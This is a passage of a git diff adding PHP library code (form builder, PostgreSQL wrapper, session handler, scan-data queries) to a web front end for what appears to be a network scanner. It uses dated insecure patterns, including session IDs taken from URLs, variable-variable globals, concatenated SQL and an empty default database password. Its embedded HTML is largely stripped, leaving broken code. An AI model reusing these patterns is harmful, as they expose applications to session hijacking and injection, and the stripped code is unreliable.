$cols=$this->col_cnt[$this->row_cnt]; + + $this->inputs[$rows][$cols]["type"]="title"; + $this->inputs[$rows][$cols]["name"]=""; + $this->inputs[$rows][$cols]["desc"]=$desc; + $this->inputs[$rows][$cols]["extra"]=$extra; + $this->inputs[$rows][$cols]["visu"]=$visu; + ++$this->col_cnt[$this->row_cnt]; + } + + function prepend_title($desc,$extra="",$visu="") { + $rows=$this->prerow_cnt; + $cols=$this->precol_cnt[$this->prerow_cnt]; + + $this->prepend[$rows][$cols]["type"]="title"; + $this->prepend[$rows][$cols]["name"]=""; + $this->prepend[$rows][$cols]["desc"]=$desc; + $this->prepend[$rows][$cols]["extra"]=$extra; + $this->prepend[$rows][$cols]["visu"]=$visu; + ++$this->precol_cnt[$this->prerow_cnt]; + } + + function new_input($type,$name,$extra,$visu="") { + if (!(strlen(trim($type)))) return -1; + $rows=$this->row_cnt; + $cols=$this->col_cnt[$this->row_cnt]; + + if ($type == "file") { + $this->enctype="multipart/form-data"; + } + + $this->inputs[$rows][$cols]["type"]=$type; + $this->inputs[$rows][$cols]["name"]=$name; + $this->inputs[$rows][$cols]["desc"]=""; + $this->inputs[$rows][$cols]["extra"]=$extra; + $this->inputs[$rows][$cols]["visu"]=$visu; + ++$this->col_cnt[$this->row_cnt]; + } + + function prepend_input($type,$name,$extra,$visu="") { + if (!(strlen(trim($type)))) return -1; + $rows=$this->prerow_cnt; + $cols=$this->precol_cnt[$this->prerow_cnt]; + + if ($type == "file") { + $this->enctype="multipart/form-data"; + } + + $this->prepend[$rows][$cols]["type"]=$type; + $this->prepend[$rows][$cols]["name"]=$name; + $this->prepend[$rows][$cols]["desc"]=""; + $this->prepend[$rows][$cols]["extra"]=$extra; + $this->prepend[$rows][$cols]["visu"]=$visu; + ++$this->precol_cnt[$this->prerow_cnt]; + } + + function new_textarea($type,$name,$extra,$visu) { + if (!(strlen(trim($type)))) return -1; + $rows=$this->row_cnt; + $cols=$this->col_cnt[$this->row_cnt]; + + $this->inputs[$rows][$cols]["type"]=$type; + $this->inputs[$rows][$cols]["name"]=$name; + $this->inputs[$rows][$cols]["desc"]=""; + $this->inputs[$rows][$cols]["extra"]=$extra; + $this->inputs[$rows][$cols]["visu"]=$visu; + ++$this->col_cnt[$this->row_cnt]; + } + + function add_hidden($name,$value) { + $this->hidden[urlencode($name)]=urlencode($value); + } + + function new_row() { + $this->row_cnt++; + $this->col_cnt[$this->row_cnt]=0; + $this->row_tmpnum=0; + } + + function prepend_row() { + $this->prerow_cnt++; + $this->precol_cnt[$this->prerow_cnt]=0; + $this->prerow_tmpnum=0; + } + + function get_inputs() { + return $this->inputs; + } + + function set_inputs($array) { + $this->inputs=$array; + } + + function set_invalid($input_name) { + $this->invalid_arr[$input_name]=1; + } + + function get_input_html($input_arr,$cols,$max_cols) { + + $visu=""; + if (!(is_array($input_arr))) return -1; + $type=$input_arr["type"]; + $name=$input_arr["name"]; + $desc=$input_arr["desc"]; + $extra=$input_arr["extra"]; + $visu=$input_arr["visu"]; + + $input_str=""; + $td_str=""; + + if (is_string($extra) && $extra[0] == "\$") { + $tmp=str_replace("\$","",$extra); $extra=$tmp; + global $$extra; + $tmp=$$extra; + $extra=$tmp; + } + + if (is_array($visu)) { + @reset($visu); + while (list($key,$value)=each($visu)) { + if (stristr($key,"input_")) { + $attr=str_replace("input_","",$key); + $input_str .= " ".$attr."=\"".$value."\""; + } + if (stristr($key,"td_")) { + if ($this->invalid_arr[$name] != 1) { + $attr=str_replace("td_","",$key); + $td_str .= " ".$attr."=\"".$value."\""; + } + } + } + } + if (isset($this->invalid_arr[$name]) && $this->invalid_arr[$name] == 1) { + $td_str .= " class='formerror'"; + } + $colspan=(int)($max_cols / $cols); + + if ($this->row_tmpnum == 0) { + if ($type != "title") { + $style=$this->get_tr_class(); + } + else { + $style='formtitle'; + } + $buf=" \n". + " \n"; + } + else { + $buf=" \n"; + } + $this->row_tmpnum += (int)($max_cols / $cols); + + switch ($type) { + case 'text': + $value=$this->get_var($name); + $buf .= << +EOF; + break; + case 'textarea': + $value=$this->get_var($name); + $buf .= <<$value +EOF; + break; + case 'button': + $value=$this->get_var($name); + $buf .= << +EOF; + break; + + case 'password': + $value=$this->get_var($name); + $buf .= << +EOF; + break; + case 'title': + $buf .= " ".$desc; + break; + + case 'desc': + $buf .= " ".$desc; + break; + + case 'file': + $buf .= << + +EOF; + break; + + case 'select': + $buf .= << + +EOF; + $ar=explode(",", $extra); + for ($j=0; $j < count($ar) ; $j++) { + if (strstr($ar[$j], ":")) { + $a2=explode(":",$ar[$j]); + $value=urlencode($a2[0]); + $desc=htmlspecialchars($a2[1]); + unset($a2); + } + else { + $value=urlencode($ar[$j]); + $desc=htmlspecialchars($ar[$j]); + } + + if ($this->get_var($name) == $value) { + $selected=" selected"; + } + else { + $selected=""; + } + + $buf .= " \n"; + } + unset($ar); + $buf .= << +EOF; + + break; + + case 'checkbox': + $cur_val=$this->get_var($name); + if ($cur_val == "on"||$cur_val == 1) { + $checked=" checked"; + } + else { + $checked=""; + } + // Work around BUG with "checked/>" + // So we just say "checked>" + $buf .= " "; + break; + + case 'ipaddress': + $cur_val=$this->get_var($name); + if (strlen($cur_val)) { + $iparr=""; + $iparr=explode(".",$cur_val); + if (count($iparr) == 4) { + $ip_a=(integer)$iparr[0]; + $ip_b=(integer)$iparr[1]; + $ip_c=(integer)$iparr[2]; + $ip_d=(integer)$iparr[3]; + } + } + $buf .= <<. +. +. + +EOF; + break; + + case 'datetime': + $cur_val=$this->get_var($name); + if (strlen($cur_val)) { + if ($cur_val == "now") { + $date_a=strftime("%m",time()); + $date_b=strftime("%d",time()); + $date_c=strftime("%Y",time()); + $date_d=strftime("%I",time()); + $date_e=strftime("%M",time()); + $cur_val=strftime("%p",time()); // This is a nasty kludge ;) + } + else { + $date=""; + $date=split("[/: ]",$cur_val); + if (count($date) == 6) { + $date_a=(integer)$date[0]; + $date_b=(integer)$date[1]; + $date_c=(integer)$date[2]; + $date_d=(integer)$date[3]; + $date_e=(integer)$date[4]; + } + } + } + else { + $date_a="";$date_b="";$date_c="";$date_d="";$date_e=""; + } + $buf .= <</ +/ +  +: + +EOF; + if(strlen($cur_val) && stristr($cur_val,"AM")) { + $buf .= ""; + } + else { + $buf .= ""; + } + break; + + case 'date': + $cur_val=$this->get_var($name); + if (strlen($cur_val)) { + if ($cur_val == "now") { + $date_a=strftime("%m",time()); + $date_b=strftime("%d",time()); + $date_c=strftime("%Y",time()); + } + else { + $date=""; + $date=explode("/",$cur_val); + if (count($date) > 2) { + $date_a=(integer)$date[0]; + $date_b=(integer)$date[1]; + $date_c=(integer)$date[2]; + } + } + } + $buf .= <</ +/ + +EOF; + break; + + case 'time': + $cur_val=$this->get_var($name); + if (strlen($cur_val)) { + if ($cur_val == "now") { + $date_a=strftime("%I",time()); + $date_b=strftime("%M",time()); + $cur_val=strftime("%p",time()); // Nasty Hack :/ + } + else { + $date=""; + $date=split("[: ]",$cur_val); + if (count($date) > 1) { + if(isset($date[0])) $date_a=(integer)$date[0]; + if(isset($date[1])) $date_b=(integer)$date[1]; + } + } + } + if(!(isset($date_a))) $date_a=""; + if(!(isset($date_b))) $date_b=""; + $buf .= <<: + +EOF; + if(strlen($cur_val) && stristr($cur_val,"AM")) { + $buf .= ""; + } + else { + $buf .= ""; + } + break; + + case 'money': + $cur_val=$this->get_var($name); + if (strlen($cur_val)) { + $date=""; + if (strstr($cur_val,"\$")) { + str_replace("\$"," ",$cur_val); + $tmp=trim($cur_val); + $cur_val=$tmp; + } + $date=explode(".",$cur_val); + $date_a=(integer)$date[0]; + $date_b=sprintf("%02d",(integer)$date[1]); + } + $buf .= <<. + +EOF; + break; + + case 'percent': + $cur_val=$this->get_var($name); + if (strlen($cur_val)) { + $date=""; + if (strstr($cur_val,"\%")) { + str_replace("\%"," ",$cur_val); + $tmp=trim($cur_val); + $cur_val=$tmp; + } + $nums=explode(".",$cur_val); + if(isset($nums[0])) $numa=(integer)$nums[0]; + if(isset($nums[1])) $numb=(integer)$nums[1]; + } + if (!(isset($numa))) $numa="0"; + if (!(isset($numb))) $numb="0"; + $buf .= <<. +% +EOF; + break; + + default: + $buf .= "

    Unknown type: '$type'

    \n"; + + } + $buf .= "\n \n"; + if ($this->row_tmpnum == $max_cols) { + $buf .= " \n"; + $this->row_tmpnum=0; + } + return $buf; + } + + function get_tr_class() { + if ($this->row_class_toggle == 0) { + $this->row_class_toggle=1; + return "formtoggle1"; + } + else { + $this->row_class_toggle=0; + return "formtoggle2"; + } + } + + function set_default($name,$value){ + $this->defaults[$name]=$value; + } + + function set_defaults($arr) { + if (!(is_array($arr))) { + return -1; + } + else { + while (list($key,$value)=each($arr)) { + $this->set_default($key,$value); + } + } + } + + + function get_var($string) { + $ret=""; + + if (isset($this->defaults[$string])) { + $ret=$this->defaults[$string]; + } + else if (isset($_SESSION[$string])) { + $ret=$_SESSION[$string]; + } + else if (isset($_COOKIE[$string])) { + $ret=$_COOKIE[$string]; + } + else if (isset($_POST[$string])) { + $ret=$_POST[$string]; + } + else if (isset($_GET[$string])) { + $ret=$_GET[$string]; + } + else { + /* return ""; */ + } + + return htmlspecialchars(stripslashes($ret)); + } + + function change_action($action) { + if (!(strlen($action))) return -1; + $this->action=$action; + } + + function sprint_form(){ + $enctype=$this->enctype; + $method=$this->method; + $action=$this->action; + + $table_extra=$this->table_extra; + $form_extra=$this->form_extra; + + $this->merge_prepend(); + + if (strlen($this->form_css_class)) { + $fclass=" class=\"".$this->form_css_class."\""; + } + if (strlen($this->table_css_class)) { + $tclass=" class=\"".$this->table_css_class."\""; + } + $this->outbuf .= << + + +EOF; + + + for ($j=0 ; $j < count($this->inputs) ; $j++) { // Rows + $j2=0; + for ($j1=0; $j1 < count($this->inputs[$j]) ; $j1++) { // Cols + if ($this->inputs[$j][$j1] == NULL) continue; + ++$j2; + } + if ($j2 > $this->max_cols) { + $this->max_cols=$j2; + } + } + for ($j=0 ; $j < count($this->inputs) ; $j++) { // Rows + for ($j1=0; $j1 < count($this->inputs[$j]) ; $j1++) { // Cols + $cols=count($this->inputs[$j]); + $max_cols=$this->max_cols; + + $this->outbuf .= $this->get_input_html($this->inputs[$j][$j1],$cols, + $max_cols); + } + } + if (! $this->NORESET) { + $this->outbuf .= $this->get_submit(); + } + $this->outbuf .= "
    \n"; + + if (is_array($this->hidden)) { + @reset($this->hidden); + while (list($key,$value)=@each($this->hidden)) { + $this->outbuf .= << + +EOF; + } + } + + $this->outbuf .= << + +EOF; + $ret=$this->outbuf; + $this->outbuf=""; + + return $ret; + } + + function print_form() { + print $this->sprint_form(); + } + + function get_submit() { + $max=$this->max_cols; + $style=$this->get_tr_class(); + + return " + + +
    + + +
    + + \n"; + } + + function print_error() { + global $PHPLIB; + + $error_str1=$this->error_str1; + $error_str2=$this->error_str2; + $base=$PHPLIB["uri_base"]; + $warnimage=$this->warnimage; + + $this->outbuf .= << + + error + + $error_str1 + +EOF; + + @reset($this->validate_errors); + while (list($key,$value)=each($this->validate_errors)) { + $this->outbuf .= "
    $value\n"; + } + + $this->outbuf .= << $error_str2
    + + + + +EOF; + } + + function merge_prepend() { + if (!($this->prepend_done)) { + if (count($this->prepend)) { + $tmparr=array(); + $tmparr=array_merge($this->prepend, $this->inputs); + $this->inputs=$tmparr; + unset($tmparr); + $this->prepend_done=1; + } + } + } + + function validate() { + $this->merge_prepend(); + + $error=0; + for ($j=0 ; $j < count($this->inputs) ; $j++) { + if (!(isset($this->inputs[$j]))||(!(is_array($this->inputs[$j])))) continue; + for ($j1=0; $j1 < count ($this->inputs[$j]); $j1++) { + if (!(isset($this->inputs[$j][$j1]))||(!(is_array($this->inputs[$j][$j1])))) continue; + if (isset($this->inputs[$j][$j1]["name"])) $name=$this->inputs[$j][$j1]["name"]; + $value=$this->get_var($name); + $extra=$this->inputs[$j][$j1]["extra"]; + $error_msg=$this->validate_type($value,$extra,$name); + if (strlen($error_msg)) { + $this->invalid_arr[$name]=1; + $this->validate_errors[$name]=$error_msg; + $error++; + } + } + } + if ($error > 0) { + return FALSE; + } + else { + return TRUE; + } + } + + function validate_type($data,$type,$name="Unknown") { + $error=$num=0; + $errormsg=""; + + $tmparr=explode(",",$type); + if(isset($tmparr[0])) { + $type=$tmparr[0]; + } else { + $type="default"; + } + if(isset($tmparr[1])) { + $min=$tmparr[1]; + } else { + $min=""; + } + if(isset($tmparr[2])) { + $max=$tmparr[2]; + } else { + $max=""; + } + + + switch ($type) { + case "str": + case "string": + if (strlen($data) < $min) { + $error += 1; + $errormsg .= $name ." is too short"; + } + if (strlen($data) > $max) { + $error += 1; + $errormsg .= $name ." is too long"; + } + break; + case "integer": + case "number": + case "int": + for ($j=0 ; $j < strlen($data) ; $j++) { + if (is_numeric($data[$j])) { + $num++; + } + } + if ($num < $min) { + $error += 1; + $errormsg .= $name ." is too short"; + } + if ($num > $max) { + $error += 1; + $errormsg .= $str_desc ." is too long"; + } + break; + case "email": + $dom_flg=0; + for ($j=0; $j < strlen($data) ; $j++) { + if ($data[$j] == "@") { + $dom_flg=1; + $j++; + } + if ($dom_flg) { + $domain .= $data[$j]; + } + else { + $user .= $data[$j]; + } + } + if (strlen($user) < 1) { + $error += 1; + } + if (strlen($domain) < 5) { + $error += 1; + } + if ($error) { + $errormsg .= "Email address is invalid"; + } + break; + default: + break; + } + if ($error) { + return $errormsg; + } + } + +} // formclass + +} // double include protect diff --git a/www-front-end/lib/pgsqldbclass.php b/www-front-end/lib/pgsqldbclass.php new file mode 100644 index 0000000..aaea789 --- /dev/null +++ b/www-front-end/lib/pgsqldbclass.php @@ -0,0 +1,135 @@ + * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ + +if ((!(defined("oopdbclass_include")))||oopdbclass_include != 1) { + define("oopdbclass_include", 1); + + global $PHPLIB; + + class oop_db { + var $username; + var $password; + var $server; + var $port; + var $db; + var $conn_str; + var $persistant; + + var $query; + + var $ass_flg; /* indexed or associative array? 1=associative */ + var $resultarr; + var $row_num; + var $numrows; + var $link; + var $resultptr; + + /* Constructor function..... */ + function oop_db($debug = 0) { + global $PHPLIB; + + $this->ass_flg=0; + $this->resultarr=array(); + $this->row_num=0; + $this->numrows=0; + $this->link=""; + $this->resultptr=""; + + $this->query=""; + + $this->username="postgres"; + $this->password=""; + $this->server="127.0.0.1"; + $this->port=5432; + $this->db="template1"; + $this->conn_str=""; + $this->persistant=0; + } + + /* Code to create a connection to a PostGreSQL server */ + function dbconnect() { + /* Kludge, dont connect here, connect in select_db() */ + } + + function select_db($db = "") { + if (strlen($db)) { + $this->db=$db; + } + $this->conn_str="user=".$this->username." password=".$this->password." dbname=".$this->db." host=".$this->server; + if ($this->persistant) { + $function="pg_pconnect"; + } + else { + $function="pg_connect"; + } + if (!($this->link=$function($this->conn_str))) { + trigger_error("cant connect to database, PostGreSQL error: '".pg_errormessage()."'", E_USER_ERROR); + } + } + + function aquerydb($query) { + /* Checks for a zero length query, queries and does error reporting */ + if (!(strlen($query))) { + trigger_error("empty query passed to aquerydb", E_USER_ERROR); + return -1; + } + $this->query=$query; + + $this->row_num=0; + if (!(@$this->resultptr=pg_exec($this->link, $this->query))) { + trigger_error("pgsql_query() in oop_db (pgsql): '".pg_errormessage()."'", E_USER_ERROR); + } + @$this->numrows=pg_numrows($this->resultptr); + } + + function agetassarr($query) { + /* Checks for a zero length query, queries and does error reporting */ + if (!(strlen($query))) { + trigger_error("empty query passed to agetassarr", E_USER_ERROR); + return -1; + } + + $this->query=$query; + + $this->row_num=0; + $this->ass_flg=1; + if (!($this->resultptr=pg_exec($this->link, $this->query))) { + trigger_error("pgsql_query() in oop_db (pgsql): '".pg_errormessage()."'", E_USER_ERROR); + } + @$this->numrows=pg_numrows($this->resultptr); + } + + function data_step() { + @$this->resultarr=pg_fetch_array($this->resultptr, $this->row_num++); + } + + function _escape_string($in) { + return pg_escape_string($in); + } + + function destructor() { + if ($this->link) { + pg_close($this->link); + } + } + } + +} +?> diff --git a/www-front-end/lib/session.sql b/www-front-end/lib/session.sql new file mode 100644 index 0000000..c7259c0 --- /dev/null +++ b/www-front-end/lib/session.sql @@ -0,0 +1,15 @@ +drop table "uni_session"; + +create table "uni_session" ( + "sessid" varchar(64) not null, + "c_time" int8 not null, + "m_time" int8 not null default -1, + "a_time" int8 not null, + "uid" int4 not null, + "gid" int4 not null, + "remote_addr" inet not null, + "remote_host" varchar(200) null, + "user_agent" varchar(200) null, + "data" text null, + primary key("sessid") +); diff --git a/www-front-end/lib/session_handler.php b/www-front-end/lib/session_handler.php new file mode 100644 index 0000000..d1679e1 --- /dev/null +++ b/www-front-end/lib/session_handler.php @@ -0,0 +1,236 @@ +_escape_string($sess_id)."'"; + + $db->aquerydb($query); + + return true; + } + + function session_read($sess_id) { + global $PHPLIB; + + $db=$PHPLIB["database_db"]; + + $curtime=time(); + $dsessid=$db->_escape_string($sess_id); + + $query="select data from uni_session where sessid='".$dsessid."'"; + $db->aquerydb($query); + + if ($db->numrows == 0) { + $ua=$db->_escape_string($_SERVER["HTTP_USER_AGENT"]); + $ra=$db->_escape_string($_SERVER["REMOTE_ADDR"]); + @$rh=$db->_escape_string(gethostbyaddr($ra)); + $mtime=$curtime; + $atime=$curtime; + $ctime=$curtime; + + $query=<<aquerydb($query); + return ""; + } + + $db->data_step(); + $sessdata=$db->resultarr[0]; + + $query=<<aquerydb($query); + + if (strlen($sessdata) > 0) { + return $sessdata; + } + else { + return ""; + } + } + + function session_write($sess_id, $val) { + global $PHPLIB; + + $db=$PHPLIB["database_db"]; + + if (strlen($val) < 1) { + return true; + } + + $sessdata=$db->_escape_string($val); + $dsessid=$db->_escape_string($sess_id); + $curtime=time(); + + + $query=<<aquerydb($query); + + return true; + } + + function session_gc() { + + /* we dont do this */ + return true; + } + + /* + * now we make the session active + */ + + session_set_save_handler( + "session_open", + "session_close", + "session_read", + "session_write", + "session_kill", + "session_gc" + ); + + if (isset($_SESSION["sessid"])) { + $sessid=$_SESSION["sessid"]; + } + else if (isset($_COOKIE["sessid"])) { + $sessid=$_COOKIE["sessid"]; + } + else if (isset($_POST["sessid"])) { + $sessid=$_POST["sessid"]; + } + else if (isset($_GET["sessid"])) { + $sessid=$_GET["sessid"]; + } + else { + + session_name("sessid"); + + $sessid=get_sessid(); + session_id($sessid); + session_start(); + + $uri=$proto.$_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"]."?sessid=".$sessid; + + if (!(headers_sent())) { + header("P3P: CP='CAO DSP OUR'"); + header("Location: ".$uri); + + print "you dont have a session, come again\n"; + exit; + } + exit; + } + + /* now validate the session id */ + + $query="select c_time from uni_session where sessid='".$db->_escape_string($sessid)."'"; + $db->aquerydb($query); + + if ($db->numrows != 1) { + /* Now delete the cookie so to avoid loops ;) */ + session_name("sessid"); + $cookie=session_get_cookie_params(); + + setcookie(session_name(), "", 0, $cookie["path"], $cookie["domain"]); + $uri=$proto.$_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"]; + + /* + * just in case the browser sucks, we dont + * want it looping and bogging the server + */ + usleep(2000); + + header("P3P: CP='CAO DSP OUR'"); + header("Location: ".$uri); + + print "Your session is dumb, come again\n"; + exit; + } + else { + header("P3P: CP='CAO DSP OUR'"); + session_name("sessid"); + session_id($sessid); + @session_start(); + } + +} /* include protect */ +?> diff --git a/www-front-end/lib/tableclass.php b/www-front-end/lib/tableclass.php new file mode 100644 index 0000000..470c059 --- /dev/null +++ b/www-front-end/lib/tableclass.php @@ -0,0 +1,183 @@ + * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ + +if (!(defined("tableclass_include"))) { +define("tableclass_include", 1); + +class tableclass { + var $numrows; + var $numcols; + var $row_arr=array(); + var $hdr_arr=array(); + + var $table_tag; + var $table_closetag; + var $trhdr_tag; + + var $trhdr_closetag; + var $tdhdr_tag; + var $tdhdr_closetag; + + var $tr1_tag; + var $tr2_tag; + var $tr_closetag; + + var $td_tag; + var $td_closetag; + + var $col_widths; + var $show_header; + + function tableclass($iclass = "tblhdr") { + global $PHPLIB; + + $this->table_tag=""; + $this->table_closetag="
    "; + + $this->trhdr_tag=""; + $this->trhdr_closetag=""; + + $this->tdhdr_tag="tdhdr_closetag=""; + + $this->tr1_tag=""; + $this->tr2_tag=""; + + $this->tr_closetag=""; + + $this->td_tag="td_closetag=""; + + $this->row_num=0; + $this->col_widths=-1; + $this->show_header=0; + } + + function set_width($width) { + $this->table_tag=""; + } + + function add_header() { + $num=func_num_args(); + $items=func_get_args(); + + if ($num < 1) { + trigger_error("No arguments passed to add_header"); + } + + $this->numcols=$num; + + for ($j=0 ; $j < $num ; $j++) { + $this->hdr_arr=$items; + } + $this->show_header=1; + + } + + function set_cols($num, $widths = -1) { + $this->numcols=(integer)$num; + + if ($widths != -1) { + $this->col_widths=$widths; + } + } + + function add_row(){ + $num=func_num_args(); + $items=func_get_args(); + + if ($num < 1) { + trigger_error("No arguments passed to add_row"); + } + + if ($this->numcols != $num) { + trigger_error("Arguments to add_row mismatch cols in header!"); + } + + for ($j=0 ; $j < $num ; $j++) { + $this->row_arr[$this->row_num]=$items; + } + + $this->row_num++; + } + + function get_tdhdr_tag($offset) { + if ($this->col_widths != -1) { + return $this->tdhdr_tag . " width=\"".$this->col_widths[$offset]."\">"; + } + else { + return $this->tdhdr_tag . ">"; + } + } + + function get_td_tag($offset) { + if ($this->col_widths != -1) { + return $this->td_tag . " width=\"".$this->col_widths[$offset]."\">"; + } + else { + return $this->td_tag . ">"; + } + } + + function sprint_tbl() { + $trst=""; + + $buf=$this->table_tag."\n"; + + if ($this->show_header == 1) { + $buf .= $this->trhdr_tag; + + for ($j=0 ; $j < $this->numcols ; $j++) { + $buf .= $this->get_tdhdr_tag($j) . $this->hdr_arr[$j] . $this->tdhdr_closetag."\n"; + } + + $buf .= $this->trhdr_closetag."\n"; + } + + for ($j=0 ; $j < $this->row_num ; $j++) { + + if ($j == 0 || ($j % 2) == 0) { + $trst=$this->tr1_tag; + } + else { + $trst=$this->tr2_tag; + } + + $buf .= $trst; + + for ($j1=0 ; $j1 < $this->numcols ; $j1++) { + $buf .= $this->get_td_tag($j1) . $this->row_arr[$j][$j1] . $this->td_closetag."\n"; + } + + $buf .= $this->tr_closetag; + } + + $buf .= $this->table_closetag."\n"; + + return $buf; + } + + function print_tbl() { + print $this->sprint_tbl(); + } +} /* class */ + +} +?> diff --git a/www-front-end/lib/trange.php b/www-front-end/lib/trange.php new file mode 100644 index 0000000..0140fdc --- /dev/null +++ b/www-front-end/lib/trange.php @@ -0,0 +1,61 @@ + * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ + +if (!(defined("TIME_RANGE_PHP"))) { + define("TIME_RANGE_PHP", 1); + + $t_tbl=array( + 0 => 0x00000000, + 1 => 0x80000000, 2 => 0xc0000000, 3 => 0xe0000000, 4 => 0xf0000000, + 5 => 0xf8000000, 6 => 0xfc000000, 7 => 0xfe000000, 8 => 0xff000000, + 9 => 0xff800000, 10 => 0xffc00000, 11 => 0xffe00000, 12 => 0xfff00000, + 13 => 0xfff80000, 14 => 0xfffc0000, 15 => 0xfffe0000, 16 => 0xffff0000, + 17 => 0xffff8000, 18 => 0xffffc000, 19 => 0xffffe000, 20 => 0xfffff000, + 21 => 0xfffff800, 22 => 0xfffffc00, 23 => 0xfffffe00, 24 => 0xffffff00, + 25 => 0xffffff80, 26 => 0xffffffc0, 27 => 0xffffffe0, 28 => 0xfffffff0, + 29 => 0xfffffff8, 30 => 0xfffffffc, 31 => 0xfffffffe, 32 => 0xffffffff + ); + + function time_pair($tstr, &$low, &$high) { + global $t_tbl; + $tstamp=0; + + $tstamp=strtotime($tstr); + + if (strstr($tstr, "/")) { + $t_str=reverse_strrchr($tstr, "/"); + $tstamp=strtotime($t_str); + sscanf(strrchr($tstr, "/"), "/%u", $mask); + } + else { + $tstamp=strtotime($tstr); + $mask=32; + } + if ($mask < 0 || $mask > 32) trigger_error("timemask out of range"); + + $low=sprintf("%u", ($tstamp & $t_tbl[$mask])); + $high=sprintf("%u", ($tstamp | (0xffffffff ^ $t_tbl[$mask]))); + } + + function reverse_strrchr($haystack, $needle) { + return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle)) : false; + } +} +?> diff --git a/www-front-end/lib/unidata.php b/www-front-end/lib/unidata.php new file mode 100644 index 0000000..c0a63a0 --- /dev/null +++ b/www-front-end/lib/unidata.php @@ -0,0 +1,100 @@ +aquerydb($query); + $nr=$db->numrows; + + for ($j=0; $j < $nr; $j++) { + $db->data_step(); + $ret[$j]=$db->resultarr; + } + + for ($j=0; $j < $nr; $j++) { + $ret[$j]["sworkunits"]=get_sworkunits((int )$ret[$j]["scans_id"]); + $ret[$j]["lworkunits"]=get_lworkunits((int )$ret[$j]["scans_id"]); + } + + return $ret; + } + + function get_sworkunits($scan_id) { + global $db; + + $query="select * from uni_sworkunits where scans_id=".$scan_id; + + $db->agetassarr($query); + for ($j=0; $j < $db->numrows; $j++) { + $db->data_step(); + + $workunits[$j]=$db->resultarr; + } + + return $workunits; + } + + function get_lworkunits($scan_id) { + global $db; + + $query="select * from uni_lworkunits where scans_id=".$scan_id; + + $db->agetassarr($query); + for ($j=0; $j < $db->numrows; $j++) { + $db->data_step(); + + $workunits[$j]=$db->resultarr; + } + + return $workunits; + } + + function delete_scandata($scan_id) { + global $db; + + $query="delete from uni_ippackets where ipreport_id in (select ipreport_id from uni_ipreport where scans_id=".$scan_id.")"; + $db->aquerydb($query); + + $query="delete from uni_arppackets where arpreport_id in (select arpreport_id from uni_arpreport where scans_id=".$scan_id.")"; + $db->aquerydb($query); + + $query="delete from uni_ipreportdata where ipreport_id in (select ipreport_id from uni_ipreport where scans_id=".$scan_id.")"; + $db->aquerydb($query); + + $query="delete from uni_arpreport where arpreport_id in (select arpreport_id from uni_arpreport where scans_id=".$scan_id.")"; + $db->aquerydb($query); + + $query="delete from uni_ipreport where scans_id=".$scan_id; + $db->aquerydb($query); + + $query="delete from uni_output where scans_id=".$scan_id; + $db->aquerydb($query); + + $query="delete from uni_workunitstats where scans_id=".$scan_id; + $db->aquerydb($query); + + $query="delete from uni_lworkunits where scans_id=".$scan_id; + $db->aquerydb($query); + + $query="delete from uni_sworkunits where scans_id=".$scan_id; + $db->aquerydb($query); + + $query="delete from uni_scans where scans_id=".$scan_id; + $db->aquerydb($query); + } +?> diff --git a/www-front-end/lib/unimisc.php b/www-front-end/lib/unimisc.php new file mode 100644 index 0000000..4921a29 --- /dev/null +++ b/www-front-end/lib/unimisc.php @@ -0,0 +1,585 @@ +RFC1812]"; + break; + case 14: + $ret .= ", host precedence violation [RFC1812]"; + break; + case 15: + $ret .= ", precedence cutoff in effect [RFC1812]"; + break; + default: + $ret .= ", unknown reason ".(int )$subtype; + } + return $ret; + case 4: + $ret="source quench"; + if ($subtype != 0) { + $ret .= ", with strange code ".(int )$subtype; + } + return $ret; + case 5: + $ret="redirect"; + switch ($subtype) { + case 0: + $ret .= ", redirect datagram for the network/subnet"; + break; + case 1: + $ret .= ", redirect datagram for the host"; + break; + case 2: + $ret .= ", redirect datagram for the yype of service and network"; + break; + case 3: + $ret .= ", redirect datagram for the type of service and host"; + break; + default: + $ret .= ", unknown reason ".(int )$subtype; + break; + } + return $ret; + case 6: + $ret="alternate host address"; + switch ($subtype) { + case 0: + $ret .= ", alternate address for host"; + break; + default: + $ret .= ", unknown reason ".(int )$subtype; + break; + } + return $ret; + + case 8: + $ret="echo request"; + if ($subtype != 0) { + $ret .= ", with strange code ".(int )$subtype; + } + return $ret; + + case 9: + $ret="router advertisement"; + switch ($subtype) { + case 0: + $ret .= ", normal router advertisement"; + break; + case 16: + $ret .= ", does not route common traffic"; + break; + default: + $ret .= ", type unknown ".(int )$subtype; + break; + } + return $ret; + + case 10: + $ret="router selection"; + if ($subtype != 0) { + $ret .= ", with strange code ".(int )$subtype; + } + return $ret; + + case 11: + $ret="time exceeded"; + switch ($subtype) { + case 0: + $ret .= ", time to live exceeded in transit"; + break; + case 1: + $ret .= ", fragment reassembly time exceeded"; + break; + default: + $ret .= ", unknown ".(int )$subtype; + break; + } + return $ret; + + case 1: + case 2: + case 7: + $ret="unassigned [".(int )$type."]"; + if ($subtype != 0) { + $ret .= 